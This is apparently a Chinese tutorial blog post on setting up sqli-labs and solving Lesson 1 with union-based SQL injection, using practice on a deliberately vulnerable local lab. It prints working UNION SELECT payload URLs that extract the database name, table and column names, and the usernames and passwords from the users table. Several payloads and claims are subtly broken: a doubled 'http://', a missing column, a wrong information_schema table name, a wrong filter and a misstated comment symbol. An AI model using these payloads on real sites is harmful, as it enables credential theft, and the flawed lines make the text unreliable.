1. 程式人生 > 資料庫 >sqli-labs學習sql注入

sqli-labs學習sql注入

sqli-labs的安裝和配置

下載sqli-labs和phpstudy(注意PHP study版本不能高於8.0,不然容易出錯,本人就是PHP study版本高了,一直出錯)
下載完成後將sqli-labs解壓放在PHP study的WWW資料夾下
在這裡插入圖片描述
開啟sqli-labs-master\sql-connections,在裡面有一個db-creds.inc文件,開啟編輯
在這裡插入圖片描述
一般預設使用者名稱、密碼都是root,更改過的話輸入自己更改後的就行。接下來瀏覽器輸入http://localhost/sqli-labs-master開啟
在這裡插入圖片描述
點選Setup/reset Database for labs
在這裡插入圖片描述


出現這個就代表成功了。

聯合查詢注入法

在sql注入時應該記住的一些東西
information_schema庫存放了所有庫的資訊
information_schema.columns包含了所有表的欄位
table_name表名
table_schema資料庫名
column_name列名
information_schema.tables包含所有庫的表名
group_concat()函式能將相同的行組合起來,省老事了。

聯合查詢注入的原理
聯合查詢注入的前提就是要有顯示位(通過查詢從資料庫返回到頁面的內容)。
因本人為萌新一枚,在這裡就以sqli-labs(一)為例子進行說明。
開啟網站,進入Lesson 1

在這裡插入圖片描述
1、判斷注入點
閉合符號一般是’、“或者沒有閉合符號,而註釋符號一般是”) 和 --+
在搜尋框內輸入?id=1’,發現提示錯誤。
在這裡插入圖片描述
用註釋符號–+註釋後發現正常

在這裡插入圖片描述
說明注入點是單引號’
2、判斷列數
在輸入框內輸入id=1,2,3;時,均有不同的資料返回。然後輸入

http://http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+

發現
在這裡插入圖片描述
說明一共有三列
3、聯合查詢開始
輸入

http://localhost/sqli-labs-master/Less-1/?id=0' union select 1,3 --+

在這裡的意思是將id的值等於一個在資料庫中不存在的數,通過聯合查詢可以看出輸入的資料會在哪裡顯示出來。

在這裡插入圖片描述
結果顯示出了2 3的位置,所以在2 3位置我們便可以輸入我們想用的句子。
爆資料庫
爆資料庫時可以通過一個**database()**語句來檢視當前的資料庫

http://localhost/sqli-labs-master/Less-1/?id=0' union select 1,database(),3 --+

在這裡插入圖片描述
爆資料表
在上面說的一些語句,這裡就要用到了
既然是爆資料表,首先就需要一個group_concat()函式加一個數據表名table_name,然後還需要指定一個來源,而來源就是所有庫的表名從上面爆出來的資料庫中

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

在這裡插入圖片描述
爆欄位

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,(select group_concat(column_name) from information_schema.column where table_schema='users'),3 --+

在這裡插入圖片描述
爆值

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+

在這裡插入圖片描述
這樣,值就被爆出來了!